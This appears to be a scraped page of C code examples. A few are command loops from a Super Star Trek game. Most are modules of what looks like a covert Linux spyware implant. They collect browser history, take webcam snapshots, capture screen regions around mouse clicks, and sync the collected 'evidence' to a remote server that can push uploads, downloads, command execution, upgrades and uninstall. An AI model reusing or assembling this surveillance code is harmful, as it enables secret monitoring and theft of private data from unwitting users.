Beispiel #1
0
void *module_url_main(void *args)
{
   BIO *bio_data = NULL;
   char *dataptr;
   long datalen;
   fd_set rfds;
   struct timeval tv;

   debugme("Module URL started\n");

   do {
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;

      while(MODULE_URL.status != MODULE_STOPPING) {
         do {
            if(timemark(MODULE_URL_INDEX, &begin, &end)) break;

            url_firefox();
            url_chrome();
            url_opera();
            url_web();

            for(listp = list; listp; listp = listp->next) {
               debugme("URL %u %d %s %s\n", listp->time, listp->browser, listp->url, listp->title);
               if(BIO_putfiletime(bio_data, listp->time) == -1) break;
               if(BIO_puti32(bio_data, EVIDENCE_VERSION) == -1) break;
               if(BIO_puts16n(bio_data, listp->url) == -1) break;
               if(BIO_puti32(bio_data, listp->browser) == -1) break;
               if(BIO_puts16n(bio_data, listp->title) == -1) break;
               if(BIO_putsep(bio_data) == -1) break;
            }
            if(listp) break;

            if(!(datalen = BIO_get_mem_data(bio_data, &dataptr))) break;
            evidence_write(EVIDENCE_TYPE_URL, NULL, 0, dataptr, (int)datalen);
         } while(0);
         BIO_reset(bio_data);

         for(listp = list; listp;) {
            list = listp;
            listp = listp->next;
            if(list->url) free(list->url);
            if(list->title) free(list->title);
            free(list);
         }
         list = NULL;

         FD_ZERO(&rfds);
         FD_SET(MODULE_URL.event, &rfds);
         tv.tv_sec = 60;
         tv.tv_usec = 0;
         select(MODULE_URL.event + 1, &rfds, NULL, NULL, &tv);
      }
   } while(0);
   if(bio_data) BIO_free(bio_data);

   debugme("Module URL stopped\n");

   return NULL;
}
Beispiel #2
0
void mon_screensaver_dump(void)
{
#if 0
   struct mon_screensaver_entry *p = NULL;

   debugme("\n--- SCREENSAVER MONITOR LIST ---\n");
   for(p = list; p; p = p->next) debugme("- (at %p)\n", (void *)p);
   debugme("\n");
#endif

   return;
}
Beispiel #3
0
void am_log(subaction_log_t *s)
{
   debugme("[RUN] action log\n");

   info(s->text);

   return;
}
Beispiel #4
0
void info(const char *msg)
{
   BIO *bio_data = NULL;
   char *dataptr = NULL;
   long datalen;

   do {
      if(!msg || !msg[0]) break;
      if(!(bio_data = BIO_new(BIO_s_mem()))) break;
      BIO_puts16n(bio_data, msg);
      if(!(datalen = BIO_get_mem_data(bio_data, &dataptr))) break;
      debugme("INFO %s\n", msg);
      evidence_write(EVIDENCE_TYPE_INFO, NULL, 0, dataptr, datalen);
   } while(0);
   if(bio_data) BIO_free(bio_data);

   return;
}
Beispiel #5
0
void *module_camera_main(void *args)
{
   struct v4l2_format fmt = {0};
   struct v4l2_buffer buf = {0};
   struct v4l2_requestbuffers req = {0};
   enum v4l2_buf_type type;
   struct {
      void *start;
      size_t length;
   } *buffers = NULL;

   fd_set rfds;
   struct timeval tv = { 3, 0 };
   int i, camfd = -1;

   char *dataptr = NULL;
   long datalen = 0;
   unsigned int quality = 90;

   debugme("Module CAMERA executed\n");
   if(initlib(INIT_LIBV4L2|INIT_LIBJPEG)) return NULL;

   if(MODULE_CAMERA_P) quality = MODULE_CAMERA_P->quality;

   do {
      if((camfd = v4l2_open(SO"/dev/video0", O_RDWR | O_NONBLOCK, 0)) < 0) break;

      fmt.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      fmt.fmt.pix.width = 640;
      fmt.fmt.pix.height = 480;
      fmt.fmt.pix.pixelformat = V4L2_PIX_FMT_RGB24;
      fmt.fmt.pix.field = V4L2_FIELD_INTERLACED;
      if(v4l2_ioctl(camfd, VIDIOC_S_FMT, &fmt) == -1) break;
      if(fmt.fmt.pix.pixelformat != V4L2_PIX_FMT_RGB24) break;

      req.count = 2;
      req.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      req.memory = V4L2_MEMORY_MMAP;
      if(v4l2_ioctl(camfd, VIDIOC_REQBUFS, &req) == -1) break;

      if(!(buffers = calloc(req.count, sizeof(*buffers)))) break;

      for(i = 0; i < req.count; i++) {
         memset(&buf, 0x00, sizeof(buf));
         buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
         buf.memory = V4L2_MEMORY_MMAP;
         buf.index = i;
         if(v4l2_ioctl(camfd, VIDIOC_QUERYBUF, &buf) == -1) break;
         buffers[i].length = buf.length;
         if((buffers[i].start = v4l2_mmap(NULL, buf.length, PROT_READ|PROT_WRITE, MAP_SHARED, camfd, buf.m.offset)) == MAP_FAILED) break;
      }
      if(i != req.count) break;

      for(i = 0; i < req.count; i++) {
         memset(&buf, 0x00, sizeof(buf));
         buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
         buf.memory = V4L2_MEMORY_MMAP;
         buf.index = i;
         if(v4l2_ioctl(camfd, VIDIOC_QBUF, &buf) == -1) break;
      }
      if(i != req.count) break;

      type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      if(v4l2_ioctl(camfd, VIDIOC_STREAMON, &type) == -1) break;

      FD_ZERO(&rfds);
      FD_SET(camfd, &rfds);
      if((i = select(camfd + 1, &rfds, NULL, NULL, &tv)) <= 0) break;

      memset(&buf, 0x00, sizeof(buf));
      buf.type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      buf.memory = V4L2_MEMORY_MMAP;
      if(v4l2_ioctl(camfd, VIDIOC_DQBUF, &buf) == -1) break;
      if(!(datalen = encodeimage(buffers[buf.index].start, fmt.fmt.pix.width, fmt.fmt.pix.height, quality, &dataptr))) break;

      evidence_write(EVIDENCE_TYPE_CAMERA, NULL, 0, dataptr, datalen);
   } while(0);
   if(camfd != -1) {
      type = V4L2_BUF_TYPE_VIDEO_CAPTURE;
      v4l2_ioctl(camfd, VIDIOC_STREAMOFF, &type);
   }
   for(i = 0; i < req.count; i++) v4l2_munmap(buffers[i].start, buffers[i].length);
   if(camfd != -1) v4l2_close(camfd);
   if(dataptr) free(dataptr);
   if(buffers) free(buffers);

   debugme("Module CAMERA ended\n");

   return NULL;
}
Beispiel #6
0
static void makemoves(void) {
	int i, hitme;
	char ch;
	while (TRUE) { /* command loop */
		hitme = FALSE;
		justin = 0;
		Time = 0.0;
		i = -1;
		while (TRUE)  { /* get a command */
			chew();
			skip(1);
			proutn("COMMAND> ");
			if (scan() == IHEOL) continue;
			for (i=0; i < 29; i++) // Abbreviations allowed for the first 29 commands, only.
				if (isit(commands[i]))
					break;
			if (i < 29) break;
			for (; i < NUMCOMMANDS; i++)
				if (strcmp(commands[i], citem) == 0) break;
			if (i < NUMCOMMANDS
#ifndef CLOAKING
			    && i != 26 // ignore the CLOAK command
#endif
#ifndef CAPTURE
			    && i != 27 // ignore the CAPTURE command
#endif
#ifndef SCORE
			    && i != 28 // ignore the SCORE command
#endif
#ifndef DEBUG
			    && i != 33 // ignore the DEBUG command
#endif
			   ) break;

			if (skill <= SFAIR)  {
				prout("UNRECOGNIZED COMMAND. LEGAL COMMANDS ARE:");
				listCommands(TRUE);
			}
			else prout("UNRECOGNIZED COMMAND.");
		}
		switch (i) { /* command switch */
			case 0:			// srscan
				srscan(1);
				break;
			case 1:			// lrscan
				lrscan();
				break;
			case 2:			// phasers
				phasers();
                if (ididit) {
#ifdef CLOAKING
                    if (irhere && d.date >= ALGERON && !isviolreported && iscloaked) {
                        prout("The Romulan ship discovers you are breaking the Treaty of Algeron!");
                        ncviol++;
                        isviolreported = TRUE;
                    }
#endif
                    hitme = TRUE;
                }
				break;
			case 3:			// photons
				photon();
                if (ididit) {
#ifdef CLOAKING
                    if (irhere && d.date >= ALGERON && !isviolreported && iscloaked) {
                        prout("The Romulan ship discovers you are breaking the Treaty of Algeron!");
                        ncviol++;
                        isviolreported = TRUE;
                    }
#endif
                    hitme = TRUE;
                }
				break;
			case 4:			// move
				warp(1);
				break;
			case 5:			// shields
				sheild(1);
				if (ididit) {
					attack(2);
					shldchg = 0;
				}
				break;
			case 6:			// dock
				dock();
				break;
			case 7:			// damages
				dreprt();
				break;
			case 8:			// chart
				chart(0);
				break;
			case 9:			// impulse
				impuls();
				break;
			case 10:		// rest
				waiting();
				if (ididit) hitme = TRUE;
				break;
			case 11:		// warp
				setwrp();
				break;
			case 12:		// status
				srscan(3);
				break;
			case 13:			// sensors
				sensor();
				break;
			case 14:			// orbit
				orbit();
				if (ididit) hitme = TRUE;
				break;
			case 15:			// transport "beam"
				beam();
				break;
			case 16:			// mine
				mine();
				if (ididit) hitme = TRUE;
				break;
			case 17:			// crystals
				usecrystals();
				break;
			case 18:			// shuttle
				shuttle();
				if (ididit) hitme = TRUE;
				break;
			case 19:			// Planet list
				preport();
				break;
			case 20:			// Status information
				srscan(2);
				break;
			case 21:			// Game Report 
				report(0);
				break;
			case 22:			// use COMPUTER!
				eta();
				break;
			case 23:
				listCommands(TRUE);
				break;
			case 24:		// Emergency exit
				clearscreen();	// Hide screen
				freeze(TRUE);	// forced save
				exit(1);		// And quick exit
				break;
			case 25:
				probe();		// Launch probe
				break;
#ifdef CLOAKING
			case 26:
				cloak();        // turn on/off cloaking
				if (iscloaking) {
					attack(2); // We will be seen while we cloak
					iscloaking = FALSE;
					iscloaked = TRUE;
				}
				break;
#endif
#ifdef CAPTURE
			case 27:
				capture();      // Attempt to get Klingon ship to surrender
				if (ididit) hitme = TRUE;
				break;
#endif
#ifdef SCORE
			case 28:
				score(1);    // get the score
				break;
#endif
			case 29:			// Abandon Ship
				abandn();
				break;
			case 30:			// Self Destruct
				dstrct();
				break;
			case 31:			// Save Game
				freeze(FALSE);
				if (skill > SGOOD)
					prout("WARNING--Frozen games produce no plaques!");
				break;
			case 32:			// Try a desparation measure
				deathray();
				if (ididit) hitme = TRUE;
				break;
#ifdef DEBUG
			case 33:			// What do we want for debug???
				debugme();
				break;
#endif
			case 34:		// Call for help
				help();
				break;
			case 35:
				alldone = 1;	// quit the game
#ifdef DEBUG
				if (idebug) score(0);
#endif
				break;
			case 36:
				helpme();	// get help
				break;
		}
		for (;;) {
			if (alldone) break;		// Game has ended
#ifdef DEBUG
			if (idebug) prout("2500");
#endif
			if (Time != 0.0) {
				events();
				if (alldone) break;		// Events did us in
			}
			if (d.galaxy[quadx][quady] == 1000) { // Galaxy went Nova!
				atover(0);
				continue;
			}
			if (nenhere == 0) movetho();
			if (hitme && justin==0) {
				attack(2);
				if (alldone) break;
				if (d.galaxy[quadx][quady] == 1000) {	// went NOVA! 
					atover(0);
					hitme = TRUE;
					continue;
				}
			}
			break;
		}
		if (alldone) break;
	}
}
Beispiel #7
0
int am_synchronize(subaction_synchronize_t *s)
{
   PROTO_CTX proto_ctx;
   struct curl_slist *hdr = NULL;
   int ret = 0;

   debugme("[RUN] action synchronize\n");

   do {
      memset(&proto_ctx, 0x00, sizeof(proto_ctx));
      if(snprintf(proto_ctx.host, sizeof(proto_ctx.host), "%s", s->host) >= sizeof(proto_ctx.host)) break;
      if(!(proto_ctx.curl = curl_easy_init())) break;
      if(!(hdr = curl_slist_append(hdr, SO"Content-Type: application/octet-stream"))) break;
      if(!(hdr = curl_slist_append(hdr, SO"Expect:"))) break;
      if(curl_easy_setopt(proto_ctx.curl, CURLOPT_HTTPHEADER, hdr)) break;
      if(curl_easy_setopt(proto_ctx.curl, CURLOPT_COOKIEFILE, "")) break;
      if(curl_easy_setopt(proto_ctx.curl, CURLOPT_WRITEFUNCTION, writefunc)) break;
#ifdef DEBUG
      if(curl_easy_setopt(proto_ctx.curl, CURLOPT_VERBOSE, 1L)) break;
#endif

      ret = proto_auth(&proto_ctx);
      if(ret == PROTO_NO) {
         ret = -1;
         break;
      } else if(ret == PROTO_UNINSTALL) {
         ret = -2;
         break;
      } else if(ret == PROTO_ERR) {
         ret = -3;
         break;
      }

      ret = proto_id(&proto_ctx);
      debugme("proto_id=%d\n", ret);

      if(ret == -1) break;
      if(proto_ctx.availables.upgrade) if(proto_upgrade(&proto_ctx)) ret = 4;
      if(proto_ctx.availables.conf) {
         proto_conf(&proto_ctx);
         ret = 3;
      }
      if(proto_ctx.availables.download) proto_download(&proto_ctx);
      if(proto_ctx.availables.upload) proto_upload(&proto_ctx);
      if(proto_ctx.availables.exec) proto_exec(&proto_ctx);
      if(proto_ctx.availables.filesystem) proto_filesystem(&proto_ctx);
      proto_sendevidence(&proto_ctx);
   } while(0);

   if(ret != -3) {
      proto_bye(&proto_ctx);
   } else {
      ret = -1;
   }


   if(proto_ctx.curl) curl_easy_cleanup(proto_ctx.curl);
   if(hdr) curl_slist_free_all(hdr);

   return ret;
}
Beispiel #8
0
static void *run(void *data)
{
   int i, j, ret;
   long queue = (long)data;
   subaction_t *s;

   while(1) {
      for(i = 0, ret = 0; i < actionc; i++) {
         if(qstatus[queue] == STATUS_STOPPING) {
            qstatus[queue] = STATUS_STOPPED;
            while(qstatus[queue] != STATUS_STARTING) sleep(1);
            qstatus[queue] = STATUS_STARTED;
            break;
         }
         if((actionlist[i].queue != queue) || (!actionlist[i].sched)) continue;
         for(j = 0; j < actionlist[i].subactionc; j++) {
            if(qstatus[queue] == STATUS_STOPPING) {
               qstatus[queue] = STATUS_STOPPED;
               while(qstatus[queue] != STATUS_STARTING) sleep(1);
               break;
            }

            s = &actionlist[i].subactionlist[j];

            switch(s->type) {
               case SUBACTION_UNINSTALL:
                  am_uninstall();
                  break;
               case SUBACTION_EXECUTE:
                  am_execute((subaction_execute_t *)s->param);
                  break;
               case SUBACTION_LOG:
                  am_log((subaction_log_t *)s->param);
                  break;
               case SUBACTION_SYNCHRONIZE:
                  debugme("--- begin synchronization ---\n");
                  ret = am_synchronize((subaction_synchronize_t *)s->param);
                  debugme("--- end synchronization (%d) ---\n", ret);
                  if(ret == 3) {
                     am_startqueue(QUEUE_FAST);
                     em_scheduleevents();
                  } else if(ret == -2) {
                     uninstall();
                  }
                  break;
               case SUBACTION_DESTROY:
                  am_destroy((subaction_destroy_t *)s->param);
                  break;
               case SUBACTION_EVENT:
                  am_event((subaction_event_t *)s->param);
                  break;
               case SUBACTION_MODULE:
                  am_module((subaction_module_t *)s->param);
                  break;
               default:
                  break;
            }
            if(ret == 3) break;
         }
         if(ret == 3) break;

         actionlist[i].sched = 0;
      }
      if(qstatus[queue] == STATUS_STARTING) qstatus[queue] = STATUS_STARTED;

      sleep(1);
   }

   return NULL;
}
Beispiel #9
0
Datei: sst.c Projekt: aichao/sst
static void makemoves(void) {
	int i, hitme;
	char ch;
	while (TRUE) { /* command loop */
		hitme = FALSE;
		justin = 0;
		Time = 0.0;
		i = -1;
		while (TRUE)  { /* get a command */
			chew();
			skip(1);
			proutn("COMMAND> ");
      // Use of scan() here (after chew) will get a new line of input
      // and will return IHEOL iff new line of input contains nothing
      // or a numeric input is detected but conversion fails.
			if (scan() == IHEOL) continue;
			for (i=0; i < 26; i++)
				if (isit(commands[i]))
					break;
			if (i < 26) break;
			for (; i < NUMCOMMANDS; i++)
				if (strcmp(commands[i], citem) == 0) break;
			if (i < NUMCOMMANDS) break;
      // we get here iff the first parsed input from the line does not 
      // match one of the commands. In this case, the rest of the line
      // is discarded, the below message is printed, and we go back to 
      // get a new command.
			if (skill <= 2)  {
				prout("UNRECOGNIZED COMMAND. LEGAL COMMANDS ARE:");
				listCommands(TRUE);
			}
			else prout("UNRECOGNIZED COMMAND.");
		} // end get command loop
    // we get here iff the first parsed input from the line matches one
    // of the commands (i.e., command i). We use i to dispatch the 
    // handling of the command. The line may still contain additional
    // inputs (i.e., parameters of the command) that is to be parsed by
    // the dispatched command handler. If the line does not contain
    // all the necessary parameters, the dispatched command handler is 
    // responsible to get additional input(s) interactively using scan().
    // The dispatched command handler is also responsible to handle any 
    // input errors.
		switch (i) { /* command switch */
			case 0:			// srscan
				srscan(1);
				break;
			case 1:			// lrscan
				lrscan();
				break;
			case 2:			// phasers
				phasers();
				if (ididit) hitme = TRUE;
				break;
			case 3:			// photons
				photon();
				if (ididit) hitme = TRUE;
				break;
			case 4:			// move
				warp(1);
				break;
			case 5:			// shields
				sheild(1);
				if (ididit) {
					attack(2);
					shldchg = 0;
				}
				break;
			case 6:			// dock
				dock();
				break;
			case 7:			// damages
				dreprt();
				break;
			case 8:			// chart
				chart(0);
				break;
			case 9:			// impulse
				impuls();
				break;
			case 10:		// rest
				waiting();
				if (ididit) hitme = TRUE;
				break;
			case 11:		// warp
				setwrp();
				break;
			case 12:		// status
				srscan(3);
				break;
			case 13:			// sensors
				sensor();
				break;
			case 14:			// orbit
				orbit();
				if (ididit) hitme = TRUE;
				break;
			case 15:			// transport "beam"
				beam();
				break;
			case 16:			// mine
				mine();
				if (ididit) hitme = TRUE;
				break;
			case 17:			// crystals
				usecrystals();
				break;
			case 18:			// shuttle
				shuttle();
				if (ididit) hitme = TRUE;
				break;
			case 19:			// Planet list
				preport();
				break;
			case 20:			// Status information
				srscan(2);
				break;
			case 21:			// Game Report 
				report(0);
				break;
			case 22:			// use COMPUTER!
				eta();
				break;
			case 23:
				listCommands(TRUE);
				break;
			case 24:		// Emergency exit
				clearscreen();	// Hide screen
				freeze(TRUE);	// forced save
				exit(1);		// And quick exit
				break;
			case 25:
				probe();		// Launch probe
				break;
			case 26:			// Abandon Ship
				abandn();
				break;
			case 27:			// Self Destruct
				dstrct();
				break;
			case 28:			// Save Game
				freeze(FALSE);
				if (skill > 3)
					prout("WARNING--Frozen games produce no plaques!");
				break;
			case 29:			// Try a desparation measure
				deathray();
				if (ididit) hitme = TRUE;
				break;
			case 30:			// What do we want for debug???
#ifdef DEBUG
				debugme();
#endif
				break;
			case 31:		// Call for help
				help();
				break;
			case 32:
				alldone = 1;	// quit the game
#ifdef DEBUG
				if (idebug) score();
#endif
				break;
			case 33:
				helpme();	// get help
				break;
		} // end command switch
		for (;;) {
			if (alldone) break;		// Game has ended
#ifdef DEBUG
			if (idebug) prout("2500");
#endif
			if (Time != 0.0) {
				events();
				if (alldone) break;		// Events did us in
			}
			if (d.galaxy[quadx][quady] == 1000) { // Galaxy went Nova!
				atover(0);
				continue;
			}
			if (nenhere == 0) movetho();
			if (hitme && justin==0) {
				attack(2);
				if (alldone) break;
				if (d.galaxy[quadx][quady] == 1000) {	// went NOVA! 
					atover(0);
					hitme = TRUE;
					continue;
				}
			}
			break;
		} // end event loop
		if (alldone) break;
	} // end command loop
}
Beispiel #10
0
void *module_mouse_main(void *args)
{
   Display *display = NULL;
   int i, devnum = 0, mousenum = 0, buttonrelease = 0;
   XDeviceInfo *devinfo = NULL;
   XDevice **device = NULL;
   XEventClass evlist;
   XEvent event;
   Window root, child;
   int rootX, rootY, childX, childY;
   unsigned int mask;
   XWindowAttributes wininfo;
   int maxfd = -1, xfd = -1;
   int width = 40, height = 40;
   char *process = NULL, *title = NULL;
   int imgx, imgy, imgw, imgh;
   fd_set rfds;
   struct additional a;
   BIO *bio_additional = NULL;
   char *additionalptr, *dataptr = NULL;
   long additionallen, datalen = 0;

   debugme("Module MOUSE started\n");
   if(initlib(INIT_LIBXI|INIT_LIBJPEG)) return NULL;

   if(MODULE_MOUSE_P) {
      width = MODULE_MOUSE_P->width;
      height = MODULE_MOUSE_P->height;
   }

   do {
      if((display = XOpenDisplay(NULL)) == NULL) break;
      if((xfd = ConnectionNumber(display)) < 0) break;
      if(!(devinfo = XListInputDevices(display, &devnum)) || !devnum) break;
      if(!(device = calloc(devnum, sizeof(XDevice *)))) break;
      if(!(bio_additional = BIO_new(BIO_s_mem()))) break;

      for(i = 0; i < devnum; i++) {
         if(devinfo[i].use == IsXExtensionPointer) {
            if(!(device[i] = XOpenDevice(display, devinfo[i].id))) continue;
            DeviceButtonRelease(device[i], buttonrelease, evlist);
            XSelectExtensionEvent(display, DefaultRootWindow(display), &evlist, 1);
            mousenum++;
         }
      }
      if(!mousenum) break;

      maxfd = MAX(xfd, MODULE_MOUSE.event) + 1;

      while(MODULE_MOUSE.status != MODULE_STOPPING) {
         do {
            if(!XPending(display)) {
               FD_ZERO(&rfds);
               FD_SET(xfd, &rfds);
               FD_SET(MODULE_MOUSE.event, &rfds);
               if(select(maxfd, &rfds, NULL, NULL, NULL) == -1) break;
            }
            if(MODULE_MOUSE.status == MODULE_STOPPING) break;
            if(XNextEvent(display, &event)) break;
            if(event.type != buttonrelease) break;
            if(((XDeviceButtonEvent *)&event)->button > 3) break;

            XQueryPointer(display, DefaultRootWindow(display), &root, &child, &rootX, &rootY, &childX, &childY, &mask);
            XGetWindowAttributes(display, DefaultRootWindow(display), &wininfo);
            getwindowproperties(display, getactivewindow(display), &process, &title);
            debugme("MOUSE b=%d, x=%d, y=%d (%s | %.20s)\n", ((XDeviceButtonEvent *)&event)->button, rootX, rootY, process, title);

            imgx = MAX(rootX - (width / 2), 0);
            imgy = MAX(rootY - (height / 2), 0);
            imgw = MIN(rootX + (width / 2), wininfo.width) - imgx;
            imgh = MIN(rootY + (height / 2), wininfo.height) - imgy;
            if(!(datalen = getscreenimage(display, DefaultRootWindow(display), imgx, imgy, imgw, imgh, 90, &dataptr))) break;

            a.version = MOUSEMODULE_VERSION;
            a.processlen = strlen16(process) + 2;
            a.titlelen = strlen16(title) + 2;
            a.x = rootX;
            a.y = rootY;
            a.width = imgw;
            a.height = imgh;
            (void)BIO_reset(bio_additional);
            BIO_write(bio_additional, &a, sizeof(a));
            BIO_puts16n(bio_additional, process);
            BIO_puts16n(bio_additional, title);
            if(!(additionallen = BIO_get_mem_data(bio_additional, &additionalptr))) break;

            evidence_write(EVIDENCE_TYPE_MOUSE, additionalptr, additionallen, dataptr, datalen);
         } while(0);
         if(dataptr) { free(dataptr); dataptr = NULL; }
         if(process) { free(process); process = NULL; }
         if(title) { free(title); title = NULL; }
      }
   } while(0);
   if(bio_additional) BIO_free(bio_additional);
   if(device) {
      for(i = 0; i < devnum; i++) if(device[i]) XCloseDevice(display, device[i]);
      free(device);
   }
   if(devinfo) XFreeDeviceList(devinfo);
   if(display) XCloseDisplay(display);

   debugme("Module MOUSE stopped\n");

   return NULL;
}